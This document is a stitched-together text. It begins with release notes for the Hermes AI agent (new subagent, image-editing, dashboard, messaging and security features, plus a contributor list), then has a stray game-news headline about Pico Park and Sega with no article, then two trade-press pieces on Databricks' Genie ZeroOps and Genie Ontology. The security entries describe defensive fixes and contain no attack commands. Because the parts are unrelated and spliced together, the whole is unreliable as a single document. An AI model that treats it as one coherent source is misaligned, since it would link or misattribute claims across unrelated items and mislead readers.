Background / async subagents — delegate work and keep going — delegate_task(background=true) now dispatches a subagent that runs in the background and returns a handle immediately. You and the model keep working while it churns, and the full result re-enters the conversation as a new turn the moment it finishes. Kick off a long research dive or a multi-step build, then carry on with something else instead of sitting blocked waiting on it. (#40946, #46968 — @teknium1)
Edit images, not just generate them — image-to-image in image_generate — image_generate can now edit and transform a source image, not only create one from scratch. Pass an existing image and a prompt and it routes to the backend's edit endpoint (same tool, same pattern as video_generate), across every supported image provider. "Make this logo blue," "remove the background," "turn this sketch into a render" — all from the tool you already use. (#48705 — @teknium1)
Automation Blueprints — schedule things without learning cron — Pick an automation by name and Hermes asks you for what it needs — no cron syntax, no slot=value typing. One blueprint definition renders natively on every surface: a form in the dashboard, a slash command in the CLI/TUI/messenger, a conversation with the agent, an entry in the docs catalog. "Daily news briefing at 8am" becomes a thing you set up by answering questions, not by memorizing 0 8 * * *. (#41309 — @teknium1)
Cursor's Composer model, through your xAI Grok subscription — grok-composer-2.5-fast is now in the xAI OAuth model picker, with its context window reconciled to the full 200k. Composer is the fast coding model behind Cursor — and if you have an xAI Grok subscription, you can now point Hermes at it directly over OAuth, no separate API key. Your Grok plan, Hermes's agent loop, Composer's coding speed. (#47908, #6f89e17 — @teknium1)
Full profile builder in the dashboard — Build a complete Hermes profile from the browser — pick its model, choose its skills, attach its MCP servers — without hand-editing config.yaml. The dashboard also unified multi-profile management into one machine-wide view with a global profile switcher, so you manage every profile from a single place. (#39084, #44007 — @teknium1)
Skills Hub browser rehaul — The dashboard's Skills Hub got a ground-up rework: connected hubs, a Featured section, full skill previews before you install, and a security scan on each skill. Browsing and installing skills from the trusted taps (OpenAI, Anthropic, HuggingFace, NVIDIA) is now a real browsing experience, not a flat list. (#40384, #43398 — @teknium1)
The memory tool got a major upgrade — atomic batch operations — The memory tool gained an operations array that applies a batch of add/replace/remove edits atomically against the final character budget. The model can free up space and add new entries in a single call — even when an add alone would overflow the budget — collapsing what used to be a fragile multi-turn dance into one reliable operation. Memory updates are now faster and far less likely to fail mid-edit. (#48507 — @teknium1)
Secure dashboard login — The dashboard's authentication was hardened: every token-required endpoint now correctly returns 401 behind the OAuth gate, websocket auth uses the served dashboard token, and a warning fires when a public_url override is silently rejected. Exposing your dashboard to the network is safer by default. (#42578, #42578 — @benbarclay, @teknium1)
Official WhatsApp Business Cloud API adapter — Alongside the existing Baileys bridge, Hermes now speaks the official WhatsApp Business Cloud API — Meta's first-party, hosted, no-bridge-process path. Point it at your Business API credentials and Hermes talks WhatsApp through the supported channel, with no QR-scanning bridge process to keep alive. (#44331, #43921 — @jquesnelle, @teknium1)
Rich text for Telegram — Bot API 10.1 rich messages — Telegram replies now render as proper rich messages via Bot API 10.1: better formatting, cleaner long-message handling, native markup instead of flattened text. It's on by default with an opt-out, so your Telegram conversations look the way they should without any configuration. (#44829, #45584, #45953 — @teknium1)
Curator cost optimization — no aux-model spend on routine runs — The skill curator now prunes stale skills by default but no longer runs its LLM-powered consolidation pass unless you opt in (curator.consolidate: true or hermes curator run --consolidate). The deterministic inactivity sweep keeps running for free; the opinionated, aux-model-spending "build umbrella skills" fork is now off by default. Routine background curation costs you zero tokens. (#47840 — @teknium1)

🖥️ Hermes Desktop App

New surfaces & UX

Rebindable keyboard shortcuts panel; native OS notifications with per-type toggles; curated turn-completion cue + dismissable error banners (#40660, #45866, #42480, #47985 — @OutThisLife, @teknium1)
Live subagent watch-windows — stream a delegated agent's activity into its own pane; composer status stack + editable prompts; open any chat in its own window; new-session-in-compact-window hotkey (#47060, #44630, #43219, #46951 — @OutThisLife, @teknium1)
Composer model selector + per-model presets + external-provider disconnect; surface every provider/model from hermes model in the GUI; unify provider list to one source; warn when a main-model switch leaves auxiliary tasks pinned elsewhere (#46959, #40563, #49080, #40286 — @teknium1, @OutThisLife)
Install any VS Code Marketplace theme; assignable themes per profile; window translucency slider; unified overlay design system + BrandMark + onboarding redesign (#43292, #42286, #45086, #40708 — @teknium1, @OutThisLife)
Resizable VS Code-themed terminal pane + palette polish; auto-detect RTL/bidi text direction in chat; Mac-style session switcher (^Tab / ^1-9); worktree-aware sidebar grouping; hover-reveal collapsed sidebars; messaging source folders in sidebar (#42521, #44596, #43111, #45273, #41670, #41751 — @OutThisLife)
Arrow-key history + queue editing in composer; expand full command inline from the approval bar; follow-streaming-at-bottom + jump-to-bottom button; first-class cron jobs in the sidebar + dashboard scheduler (#40234, #44864, #45263, #40684 — @OutThisLife, @teknium1)
Desktop pets — pop-out overlay + notifications (#47938 — @teknium1)
Full tool-backend config (pickers + per-backend settings) in Settings; run tool-backend post-setup installs from the GUI; uninstall the Chat GUI without removing the agent; Shift+click status-bar zap to toggle YOLO globally; /browser connect on a local gateway (#41232, #40559, #40355, #41666, #47245 — @teknium1, @OutThisLife)
Japanese + Traditional Chinese language switching (#40114)
"Restart gateway" action (renamed from "Restart messaging") surfaced in the statusbar + on messaging save/toggle toasts; rendered logs are selectable/copyable (#49094 — @OutThisLife)

Remote-gateway & multi-profile

Remote media relay — attach images/PDFs and display agent-written images over the network for the first time; remote-gateway file attachments via file.attach (#41336, #42634 — @teknium1)
Client + backend version buttons + remote-backend update flow; browse remote backend files; route global-remote profile REST calls; recover chat after sleep/wake by revalidating a stale remote backend (#42181, #44326, #47011, #41350 — @OutThisLife, @teknium1)
Multi-profile fallout cleanup — WS auth + cross-profile session reads; release profile backends before delete; scope session list/model switch/timer per session (#44529, #42613, #41103, #41120, #41182 — @OutThisLife, @teknium1)
Stream subagent activity into watch windows; keep streaming painting in unfocused secondary chat windows; recover stranded session windows (#47060, #47919, #47655 — @OutThisLife)

📊 Web Dashboard

Full-featured profile builder (model + skills + MCPs); unify multi-profile management — one machine dashboard + global profile switcher; profile-scoped skills & toolsets; session switcher panel on the Chat tab (#39084, #44007, #43808, #49077 — @teknium1)
Skills hub browser rehaul — connected hubs, featured, preview + security scan; SKILL.md editor on Skills page + attach-skill selector in cron modals; full per-MCP catalog detail; full tool-backend config in the GUI (#40384, #44231, #48520, #40418 — @teknium1)
Enable webhooks from the Webhooks page; idempotent hermes dashboard register; auto-restart gateway after Telegram QR onboarding; file browser; change UI font from the theme picker; reasoning-effort picker in the chat sidebar (#44021, #42455, #43424, #43512, #41145, #49141 — @teknium1)

🏗️ Core Agent & Architecture

God-file refactor wave (run_agent.py / cli.py / gateway/run.py)

cli.py main() 3297 → 954 lines — extracted 28 subcommand parsers into hermes_cli/subcommands/, then promoted 9 closure handlers; 32 slash-command handlers → CLICommandsMixin; 18 model-flow wizard functions → model_setup_flows; agent-construction cluster → CLIAgentSetupMixin (#41798, #41835, #41942, #42174, #42153 — @teknium1)
gateway/run.py 19157 → 15870 lines — 42 slash-command handlers → GatewaySlashCommandsMixin; authorization cluster → GatewayAuthorizationMixin; kanban watcher loops → GatewayKanbanWatchersMixin (#41886, #42159, #41849 — @teknium1)
run_agent.py turn loop — extracted prologue into TurnContext, post-loop tail into finalize_turn, consolidated inner-retry-loop recovery flags into TurnRetryState (#41778, #42169, #41828 — @teknium1)

Agent loop, prompt & tools

memory batch operations — atomic add/replace/remove array against the final char budget, so a single call can free space and add entries (#48507 — @teknium1)
search_files lossless densification — headroom evaluation report + the one densification improvement worth shipping (fewer tokens per result, same matches) (#47866 — @teknium1)
Removed the agent-callable send_message tool; coding-context posture across CLI/TUI/desktop/ACP; read_file extracts .ipynb/.docx/.xlsx to text (#47856, #43316, #37082 — @teknium1)
Context-file handling: configurable truncation limit + warnings; scale context-file cap to model window + point agent at the truncated file (#47251, #47846 — @teknium1)
Compression: temporal anchoring in compaction summaries; raise compaction trigger to 85% for gpt-5.5 on Codex OAuth (#41102, #40957 — @teknium1)
Adaptive middleware (consumed by NeMo-Relay observer telemetry); usable mid-turn steer — desktop affordance + trusted injection (#29724, #40240 — @teknium1)

Provider & model support

New models: z-ai/glm-5.2 (verified 1M context, OpenRouter + Nous), anthropic/claude-fable-5, laguna-m.1 + nemotron-3-ultra, xAI Composer 2.5 in the OAuth picker; default xAI to grok-build-0.1 (#47391, #45695, #42979, #42629, #47908, #47371 — @teknium1)
Model picker: Refresh-Models control to bust stale cache; persist Nous recommended-models to disk + fall back on Portal failure; seed catalog disk cache from checkout on update; MiniMax-M3 reports true 1M context (#48691, #42628, #42614, #43338 — @teknium1)
Anthropic adaptive models: default to modern thinking contract; never send reasoning field; route reasoning_effort to verbosity; require confirmation for very expensive selections (#42991, #43012, #43436, #43391 — @teknium1)
Auth: auto-detect OpenRouter credential from the pool; keep Codex OAuth pool accounts distinct on add/re-auth; resolve xAI OAuth across profiles + write rotated tokens back to root; honor model.default_headers for custom OpenAI-compatible providers (#42263, #42316, #46614, #41096 — @teknium1)
Bedrock falls back to non-streaming InvokeModel when IAM denies the streaming variant; Ollama default max_tokens=65536; surface model refusals as content_filter (#44293, #41694, #46013 — @teknium1)

Sessions, state & multi-agent

Optional max session cap; drop empty sessions on CLI exit and rotation; ACP session-provenance metadata for compression rotation (#42389, #43855, #41724 — @teknium1)
Delegation: resolve custom-endpoint subagent pools by endpoint identity; remove the default subagent wall-clock timeout; stop subagent completion lines leaking into parent CLI display (#41730, #45149, #44223 — @teknium1)
Kanban: config-gated auto-subscribe on kanban_create; machine-global singleton lock for the embedded dispatcher; pin assigned profile toolsets for workers; hold reclaim while worker still alive (#48635, #49068, #45590, #49064 — @teknium1)
Memory: configurable Hindsight retain observation scopes; OpenViking setup UX; Honcho gateway-gated identity tree; Supermemory session-level ingest (#46611, #48262, #44431, #38756 — @teknium1, @alt-glitch)

📱 Messaging Platforms (Gateway)

New channels

iMessage via Photon Spectrum — hermes photon login (device-code OAuth), gRPC-native channel (no webhook), markdown rendering, emoji reactions, outbound media via spectrum-ts (#32348, #42582, #44713, #42397 — @teknium1)
WhatsApp Business Cloud API adapter (official, no bridge process) (#44331, #43921 — @jquesnelle, @teknium1)
SimpleX — groups, native attachments, text batching, auto-accept; Raft bundled platform plugin with activity hooks (#42584, #48210 — @teknium1)

Gateway core & rendering

Render terminal tool calls as native bash code blocks on markdown platforms; bare fenced code blocks in chat; optional message timestamps for LLM context; configurable tool_progress_grouping (#41215, #42576, #47253, #47228 — @teknium1)
Telegram: Bot API 10.1 rich messages (now always-on with opt-out); opt-in Online/Offline bot status indicator; stop cutting long streamed responses; MarkdownV2 on progress edits; gate oversized voice/audio before download (#44829, #45584, #49134, #43761, #44245 — @teknium1)
Discord: propagate role_authorized so DISCORD_ALLOWED_ROLES works end-to-end; recover from runtime gateway task exits; cancel _bot_task on connect failure; stop typing after replies (#43327, #44383, #44432, #44836 — @teknium1)
Slack: scope top-level channel messages when reply_in_thread=false; thread approval UX (block-size overflow + typed-prefix); make video attachments available to agents; register_slack_action_handler plugin API (#41703, #43444, #45512, #44664 — @teknium1)
Replied-to media attachments included; document attachments classified as DOCUMENT on Signal/Email/SimpleX/Teams; WhatsApp restarts stale bridge processes; Matrix room-context isolation; QQbot CPU-spin fix; Weixin rate-limit circuit breaker (#46107, #44695, #44205, #18505, #40574, #41718 — @teknium1, @banditburai)

🖥️ CLI, TUI & Setup

/version slash command; /billing interactive terminal billing (TUI + CLI); show time since last final agent response on the status bar; persist resolved approval/clarify prompts in scrollback (#40214, #45449, #44265, #44702 — @teknium1)
Lock hermes worktrees so concurrent processes can't clobber them; display custom profile alias names in list/show; clone profiles from any source (#48699, #40371, #45630 — @teknium1)
Opt-in structured profile-build path on first contact; configurable per-platform system-prompt hints; configurable background memory/skill notifications (#41114, #48630, #47226 — @teknium1)
TUI: interactive Plugins Hub enable/disable overlay; session name in the terminal titlebar; paint approval/clarify/sudo/secret modals directly (not via throttle); wrap long approval commands instead of truncating (#42965, #43188, #41155, #44691 — @teknium1)
TTS: Gemini persona prompts + audio tags; xAI auto speech tags + speed/streaming knobs; Piper speaker_id; OGG for Telegram auto-TTS (#43442, #49061, #49062, #49060, #41644 — @teknium1)

🔧 Tool System, Skills & MCP

image-to-image / editing in image_generate across all backends; shrink images to provider dimension limit (#48705, #45979 — @teknium1)
MCP: official Unreal Engine 5.8 MCP server in the catalog; elicitation handler so MCP servers can prompt for mid-tool-call confirmation (payment/OAuth) on whichever surface owns the session — CLI/TUI/Telegram/Slack; expose late-connecting MCP tools to the agent between turns (cache-safe); keepalive ping for short-TTL HTTP sessions; block exfil-shaped / suspicious stdio configs before probe; capability-gate tools/list so prompt-only servers connect; preserve stdio argv passthrough + Windows env vars (#48397, #49203, #49208, #49221, #46083, #44550, #44324 — @teknium1, @lgalabru)
Skills: simplify-code skill (parallel 3-agent code review & cleanup) + risk-tiered application with Chesterton's Fence; find & diff user-modified bundled skills; optional payments skills (Stripe Link, MPP, Projects); CLI-based shop skill; live per-source browse progress (#41691, #49070, #48286, #31343, #47309, #43398 — @teknium1, @colinwren-stripe)
Curator: make skill consolidation opt-in (prune stays default-on) (#47840 — @teknium1)
Plugins: install from a subdirectory within a repo; accept browser-pasted GitHub URLs in hermes plugins install; session:compress lifecycle event + thread_id/chat_type in agent:start/end context (#42963, #33539, #47252, #41672 — @teknium1)
Memory/skill write approval gate (default off) — boolean write_approval replaces the tri-state write_mode (#38199, #43354 — @teknium1)

🌐 Fleet, Relay & Automation

Managed scope — administrator-pinned, user-immutable config & secrets from a root-owned /etc/hermes (#49098 — @teknium1)
Multiplex all profiles over one gateway process (opt-in) (#48273 — @benbarclay)
Pluggable CronScheduler + Chronos managed-cron provider (scale-to-zero) (#48275 — @benbarclay)
Automation Blueprints — parameterized automation templates across every surface (#41309 — @teknium1)
Gateway-Gateway relay (phases 0-3): relay adapter + capability descriptor, connector⇄gateway channel auth + signed-HTTP inbound + enroll CLI, WS-only inbound, managed-boot self-provision client (#48078, #48147, #48294, #48242 — @teknium1)

🐳 Docker, Nix & Installer

s6: detect supervisor directly for gateway restart; register profile gateways without auto-starting; persist desired state; clear stale log locks (#46290, #46266, #46292, #46289 — @teknium1)
Docker: optimize image size (.dockerignore, drop dev deps, split layers); pre-install matrix deps; supervised gateway uses --replace; harden hosted install tree against self-modification (#38749, #42413, #47555, #47490 — @teknium1)
Nix: cold npm build fixes + auto-fix-lockfiles workflow; hashless npm deps via importNpmLock; refresh npmDepsHash after Electron 40.10.2 pin (#41867, #48883, #48457 — @teknium1)
Installer: clear unmerged git index before autostash; scope install-method stamp to the code tree (#45515, #48188 — @teknium1)

🔒 Security & Reliability

Fail closed on own-policy gateway adapters; fail closed for approval-button auth on Slack/Feishu/Discord when no allowlist is set (#45634, #41226 — @teknium1)
Redact secrets in request debug dumps; withhold host metadata from public status; block exfil-shaped / suspicious MCP stdio configs before probe (#46637, #45642, #46083 — @teknium1)
Close shell-escape denylist bypass + fail-closed on missing approval module; scrub operator environment before launching cua-driver MCP; sanitize env for cron job-script subprocesses; bound TodoStore content length/count; scan REST cron prompts for parity with the agent tool (#40591, #48423, #49207, #41648, #41335 — @teknium1, @kshitijk4poor)
Bump urllib3 and PyJWT to clear CVEs; Langfuse redacts base64 data URIs instead of truncating into invalid base64 (#40179, #43322 — @teknium1)

🪟 Windows

Dashboard /chat tab via ConPTY (win_pty_bridge) + tests; resolve PowerShell host instead of bare powershell for uv install; resolve powershell.exe by absolute path so Desktop install doesn't stall (#42251, #48341, #40927 — @teknium1)
Repair stale winget registration + refresh/merge PATH; kill hermes before recreating venv to release _bcrypt.pyd lock; read HERMES_HOME from the registry when env is stale; quarantine running hermes.exe during update repair (#44084, #45120, #46772, #40409 — @teknium1)
JOB-breakaway watcher reliability + status --deep probes; handle Windows PTY stdin + detached WS frames; decode subprocess output as UTF-8; confirm-modal on native Windows (#40909, #41953, #44328, #42419 — @teknium1)

🐛 Notable Bug Fixes

Percent-encode non-ascii URL components; sanitize : in FTS5 queries so colon searches don't silently return empty (#41430, #40653 — @teknium1)
Preserve multimodal user content through crash-resilience persist; flatten multimodal content before provider sync; strip MEDIA directives from compressor input (#47907, #44738, #44708 — @teknium1)
Re-enter retry loop on genuine Nous 429 so the fallback guard runs; scope Nous tags to Nous auxiliary calls; suppress "Credit access paused" notice on free models (#45136, #45801, #43669 — @teknium1)
Cron: don't strict-scan script-injected output in no-skills jobs; resolve per-job provider "custom" to providers.custom instead of codex; repair cron ownership on container restart (#43223, #43505, #41976 — @teknium1)
(300+ issues closed this window; full per-area fix list is exhaustive — these are the highest-impact.)

↩️ Reverted in this window (not shipping)

html-artifact skill + sketch/architecture-diagram/concept-diagrams fold (#48899) — reverted (#49053); absent on main.
Cron per-job profile support reverted (#43956); a nix patchPhase workaround reverted (#42151).

👥 Contributors

A huge thank-you to everyone who contributed to this release — 245 contributors across commits, co-author trailers, and salvaged PRs.

Core

@teknium1

Top community contributors (by merged PRs)

@OutThisLife — 92 PRs (desktop app maturity (shortcuts, notifications, watch-windows, themes))
@kshitijk4poor — 60 PRs (onboarding, model picker, cron env sanitization)
@xxxigm — 27 PRs (desktop & gateway fixes)
@benbarclay — 23 PRs (gateway multiplex, Chronos cron, dashboard auth)
@helix4u — 21 PRs (gateway & installer reliability)
@austinpickett — 19 PRs (dashboard & desktop UX)
@alt-glitch — 14 PRs (usage-aware credits, Supermemory)
@ethernet8023 — 14 PRs (desktop build pipeline & Linux/Windows)
@liuhao1024 — 5 PRs (session lifecycle fixes)

All contributors (alphabetical)

@0z1-ghb, @0xdany, @0xneobyte, @0xyg3n, @1960697431, @895252509, @achaljhawar, @Adolanium, @AhmetArif0, @AIalliAI,
@aimable100, @AJ, @ak2k, @alarcritty, @AlchemistChaos, @aldoeliacim, @alelpoan, @AlexanderBFoley,
@alfred-smith-0, @ali-nld, @alt-glitch, @am423, @AMEOBIUS, @AMIK-coorporations, @annguyenNous, @ArcanePivot,
@ARegalado1, @asdlem, @ashishpatel26, @austinpickett, @banditburai, @barronlroth, @Bartok9, @basilalshukaili,
@bbednarski9, @bcsmith528, @benbarclay, @benegessarit, @benfrank241, @bionicbutterfly13, @BlackishGreen33,
@blut-agent, @bmoore210, @bpasquini, @briandevans, @BROCCOLO1D, @capt-marbles, @ccook1963, @Cdddo, @channkim,
@ChasLui, @chimpera, @chromalinx, @CiarasClaws, @claytonchew, @cnfi, @colinwren-stripe, @cresslank,
@cyb0rgk1tty, @dangelo352, @davidgut1982, @deaneeth, @definitelynotguru, @Diyoncrz18, @draix, @dschnurbusch,
@Dusk1e, @dusterbloom, @ehz0ah, @emozilla, @enesilhaydin, @erosika, @ethernet8023, @Evisolpxe, @firefly,
@flooryyyy, @flyinhigh, @foras910521-lab, @Frowtek, @ft-ioxcs, @fyzanshaik, @Ganesh0690, @gauravsaxena1997,
@giladbau, @glesperance, @GodsBoy, @goku94123, @H-Ali13381, @HaozheZhang6, @haran2001, @harshitAgr, @hbentel,
@helix4u, @HeLLGURD, @Hermes, @huangxun375-stack, @iamlukethedev, @ianculling, @IAvecilla, @iborazzi,
@infinitycrew39, @islam666, @ITheEqualizer, @itsflownium, @Jaaneek, @james47kjv, @jeeves-assistant,
@jeffrobodie-glitch, @JezzaHehn, @jiangkoumo, @jimjsong, @JimLiu, @JimStenstrom, @jmsunseri, @JoaoMarcos44,
@joel611, @JoelJJohnson, @joerj123, @johnjacobkenny, @jooray, @joshuadow, @jplew, @justinbao19, @Justlrnal4,
@Kailigithub, @kamonspecial, @kdunn926, @Kenmege, @Kewe63, @kmccammon, @konsisumer, @kristianvast,
@kshitijk4poor, @kyssta-exe, @l37525778-coder, @LaPhilosophie, @leo4226, @LeonSGP43, @liuhao1024, @Llugaes,
@loongfay, @LoongZhao, @lsaether, @m4dni5, @manishbyatroy, @MaxFreedomPollard, @maxmilian, @maxtrigify,
@mnajafian-nv, @mohamedorigami-jpg, @mollusk, @MrDiamondBallz, @mssteuer, @mvanhorn, @naqerl, @Nea74,
@necoweb3, @nepenth, @nicoloboschi, @NormallyGaussian, @OmarB97, @omegazheng, @OndrejDrapalik, @OutThisLife,
@oxngon, @OYLFLMH, @paperclip, @paulb26, @pengyuyanITYU, @PhilipAD, @pinguarmy, @plcunha, @ProgramCaiCai,
@psionic73, @qin-ctx, @qingshan89, @Que0x, @qWaitCrypto, @r266-tech, @randomsnowflake, @rbrtbn, @rewbs,
@rio-jeong, @Rivuza, @rob-maron, @rodboev, @ruangraung, @RyTsYdUp, @Sahil-SS9, @salesondemandio, @sanidhyasin,
@sarvesh1327, @sdyckjq-lab, @shannonsands, @SHL0MS, @simpolism, @sitkarev, @skyc1e, @skylarbpayne, @SNooZyy2,
@Spaceman-Spiffy, @srojk34, @sweetcornna, @synapsesx, @Tamaz-sujashvili, @tangtaizong666, @temalo, @tfournet,
@thedavidweng, @TheGardenGallery, @tim404x, @tomekpanek, @Tranquil-Flow, @tt-a1i, @tuancookiez-hub,
@underthestars-zhy, @Veritas-7, @victor-kyriazakos, @wesleysimplicio, @WolframRavenwolf, @WompaJango, @x1erra,
@xiaoxinova, @xtymac, @xushibo, @XVVH, @xxchan, @xxxigm, @xy200303, @y0shua1ee, @yanxue06, @yatesjalex,
@YLChen-007, @yoniebans, @youjunxiaji, @yubingz, @zakame, @zapabob, @zccyman, @zimigit2020, @ziwon, @zwcf5200,
@zxcasongs.

Full Changelog: v2026.6.5...v2026.6.19

'It would be a lie to say there's no pressure taking on this great IP from this massive corporation' — Pico Park president says working with a huge company like Sega for its Sonic crossover was 'a little risky'

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Databricks targets AI operations bottlenecks with ZeroOps

Thu, 18 Jun 2026 14:18:57 +0200

Databricks is pitching a fix for what it sees as the growing operations mess in enterprise AI. With the launch of Genie ZeroOps, unveiled at its Data + AI Summit, the company is targeting a problem many data teams know too well: it’s no longer building pipelines and models that hurts, it’s keeping them running.

As data estates sprawl and AI workloads multiply, engineering time is increasingly eaten up by maintenance. Meanwhile, AI coding tools are accelerating development, churning out even more assets that need oversight, widening the gap between how fast teams can build and how much they have to manage.

Databricks Genie ZeroOps is a new agentic operations capability that is designed to automate the monitoring, investigation, and remediation of issues across data and AI workloads.

Currently in private preview, ZeroOps uses an AI agent to identify anomalies, trace root causes using metadata and lineage information via Unity Catalog, generate proposed fixes, and then test those fixes in an isolated environment before pushing them out for human review to be applied in production.

Targeting real operational complexity?

Genie ZeroOps addresses a legitimate enterprise challenge around operational complexity, particularly the growing burden of maintaining data and AI workloads in production, analysts say.

“Most data teams spend more time keeping pipelines and models alive than building new ones,” said Amit Chandak, chief analytics officer at IT consulting firm Kanerika.

Echoing Chandak, independent consultant David Linthicum said enterprises continue to grapple with deployment drift, incident response, compliance checks, and root-cause analysis across increasingly fragmented data and AI estates.

Those challenges, echoed Victor Coimbra, CTO of IT consulting firm Artefact, are compounded by the emergence of agentic coding tools that accelerate the development of assets, such as machine learning pipelines and models that need “babysitting.”

That maintenance burden carries a significant productivity cost, said Robert Kramer, managing partner at KramerERP, noting that activities such as managing infrastructure, deployment environments, support processes, and operational workflows consume time without directly creating business value.

Those productivity drains, according to Coimbra, have proven difficult to eliminate despite the emergence and widespread adoption of automated observability and governance tools.

“What is different here is the agentic piece. Databricks is trying to move from tools that alert humans to systems that diagnose issues, propose fixes, and validate them in a governed environment without breaking anything in production,” echoed Stephanie Walter, practice leader of AI stack at HyperFRAME Research.

Shifting the role of platform teams

That shift, according to analysts, could change the way most enterprise platforms and development teams work currently.

“Skilled engineers spend the majority of their time on toil. If the ZeroOps agent, in the background, handles monitoring, investigation, and fix-proposal, engineers shift from doing the operational work to reviewing it. The traditional split between ‘people who build’ and ‘people who keep things running’ starts to blur,” said Ashish Chaturvedi, leader of executive research at HFS Research.

“Additionally, this would also mean that platform teams (engineers responsible for maintenance) can focus on genuinely novel failures rather than the repetitive ones,” Chaturvedi added.

The shift, according to Coimbra, could also affect how enterprises scale platform teams: “They can stop hiring operations staff in lockstep with every new pipeline. The same team can cover a lot more.”

Given that the capability is still in preview, Kanerika’s Chandak pointed out that the headcount reduction claims may be overstated.

ZeroOps could instead pose the risk of “skill atrophy,” Chandak said.

“If engineers stop debugging because the agent does it, the team’s ability to handle the cases the agent cannot handle becomes a real exposure,” Coimbra added.

What ZeroOps could mean for CIOs

Genie ZeroOps could be attractive to CIOs because it links innovation capacity with operational discipline rather than forcing a tradeoff between the two, Linthicum said.

“The appeal is straightforward: reduce operational drag, shorten deployment cycles, improve service resilience, and enforce governance without scaling headcount at the same rate as workloads,” Linthicum said.

That combination of efficiency and reliability could help CIOs rein in one of the biggest costs associated with operating data and AI environments, Chaturvedi said. “ZeroOps attacks time spent on maintenance. CIOs have watched their data engineering budgets balloon while the proportion of that spend going to net-new value shrinks.”

Linthicum warned that CIOs should consider the new offering with calculated skepticism and seek metrics to validate Databricks’ claims.

“The headline metrics are mean time to detect and mean time to resolve, plus the share of incidents the agent closes without a human stepping in. Those tell you whether it is actually removing the operational complexities that it promises,” Kanerika’s Chandak echoed.

“Underneath these metrics, CIOs should track the accuracy of their root cause calls, the false positive rate on proposed fixes, and the proportion of fixes engineers approve without editing, because that last number is the real trust signal. On cost, they should measure cost per incident handled against the human baseline, net of agent compute,” Chandak added.

That scrutiny, Chandak further added, is even more important for CIOs because Databricks is entering an emerging category.

“Most vendor agent announcements target the build and use layers, helping people write code or ask questions of their data. ZeroOps targets the operate layer, which is less crowded,” Chandak said.

ENDS

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From RAG to ontology: Databricks bets on context as the key to trusted AI agents

Wed, 17 Jun 2026 13:04:02 +0200

First came vector databases, then RAG. Now, the next frontier in enterprise AI is taking shape: context layers that give autonomous agents a shared understanding of the business, a vision Databricks is advancing with Genie Ontology.

Currently in preview, Genie Ontology automatically extracts business context from enterprise data, dashboards, queries, pipelines, documents, and applications and organizes it into a living graph that AI agents can use to understand how an organization operates.

Showcased at the company’s Data + AI Summit, Genie Ontology uses a ranking system inspired by Google’s PageRank to identify the most authoritative business definitions within an organization.

Rather than treating all sources equally, it weighs factors including who created the information, how widely it is used, its links to certified datasets and assets, and how recently it was updated before determining which answer an AI agent should rely on, Databricks CEO Ali Ghodsi said during his keynote late on Tuesday while explaining the new offering.

Organizations can also upload their own business definitions or ontologies to Genie Ontology via Databricks’ existing Unity Catalog Semantics platform, Ghodsi added.

Ontology promises consistency, but readiness remains a hurdle

For CIOs, a unified context layer, such as Genie Ontology, will materially improve consistency, trust, and governance for enterprise AI deployments, according to analysts.

“One definition feeding every agent means you stop getting three different answers to the same question,” said Michael Leone, principal analyst at Moor Insights and Strategy.

“Older approaches, such as RAG and vector search, just pull back whatever looks similar to your question, and they don’t actually understand your business. An ontology gives the agent the meaning a catalog can’t, what your terms mean, and which source to trust,” Leone added.

That improvement in consistency, according to Ashish Chaturvedi, leader of executive research at HFS Research, could also improve trust, which remains one of the most critical barriers to AI adoption.

“The single biggest barrier to enterprise AI adoption is that decision-makers don’t trust AI outputs enough to act on them without checking. An ontology that grounds answers in governed business definitions, with lineage back to source, directly attacks that trust deficit,” Chaturvedi said.

Alternatively, Leone was more cautious about the trust argument: “It’s a promising idea, but it still has to prove itself before I’d lean on it for anything that matters.”

Echoing Leone, HyperFRAME Research’s practice leader of AI stack Stephanie Walter pointed out that ontologies have a missing link, and that is verification: “Ontologies can improve context, but they do not guarantee the answer is correct. An agent can still pull incomplete data, apply the wrong logic, skip rows, misunderstand a workflow, or take the wrong action.”

That verification gap becomes even more critical, according to Leone, because most enterprises don’t have the data and governance readiness required to implement an ontology layer for AI deployments: “If your data and governance aren’t already in order, this just speeds up your existing mess.”

Seconding Leone, Walter pointed out that an ontology cannot fix messy definitions, poor lineage, weak ownership, or fragmented permissions on its own.

Additionally, the analyst pointed out that the hard part for CIOs is not creating an ontology once but keeping it accurate as the business changes: “Enterprises will need clear data ownership, metric ownership, domain expertise, governance processes, and a way to resolve conflicting definitions.”

“Otherwise, the ontology becomes another stale metadata project with a more sophisticated name,” Walter added.

A growing risk of CIO confusion

Beyond data and governance readiness, CIOs also face a growing risk of confusion in the wake of several technology vendors pursuing approaches, similar to Genie Ontology, to ground enterprise AI in a business context, according to analysts.

Over the past year, Snowflake, Microsoft, and others have introduced some form of ontology, semantic, and context-layer offerings, but the problem is in how these offerings are named, Leone said.

“Everyone slapped a different name on basically the same idea. It slows people down as it creates confusion,” Leone noted.

That confusion could also backfire on Databricks and other vendors, according to Bhupendra Chopra, cofounder and CRO of IT consulting firm Kanerika: “While the marketing has converged around context-building offerings, most enterprises will choose the platform where their data already resides.”

HFS Research’s Chaturvedi doubled down on that view, saying CIOs should resist evaluating ontology offerings in isolation and asked them to stick to the mantra of context layer follows data gravity: “If your data lives in Databricks, Genie Ontology is your path. If it’s in Snowflake, Horizon Context is. If you’re a Microsoft shop, the IQ family is.”

Additionally, Chaturvedi urged CIOs to look beyond functionality and assess how open and portable these offerings are, particularly in multi-platform environments where business definitions may need to move across data lakehouses, analytics tools, and AI platforms.

This is where Chaturvedi sees Snowflake differentiating itself from rivals, with its focus on open semantic interoperability aimed at reducing the risk of semantic lock-in as enterprises evolve their data and analytics stacks.

The battle for the AI control plane

Snowflake’s efforts to differentiate itself, though, analysts pointed out, at least for CIOs, draw attention to a larger race among vendors, including Databricks, to become the control plane for enterprise AI.

While Snowflake is attempting to position itself as an AI control layer through a combination of Snowflake Intelligence, Horizon Catalog, and its push for open semantic interoperability, Microsoft is embedding business context and governance across its Copilot, Fabric, and broader AI stack through offerings such as Work IQ, Fabric IQ, and Foundry IQ, Chaturvedi said.

Databricks’ Genie Ontology, too, is part of a similar strategy, Chaturvedi pointed out, urging CIOs to view the offering in the context of the company’s wider effort to position its lakehouse platform as the foundation on which enterprise AI agents are built, governed, and eventually deployed.

“It’s absolutely a control-plane play. When you connect the dots across everything Databricks has announced at this summit, including LTAP, OpenSharing, and Genie Ontology, you see a single place where enterprise data, governance, business semantics, and agent execution all converge,” Chaturvedi added.

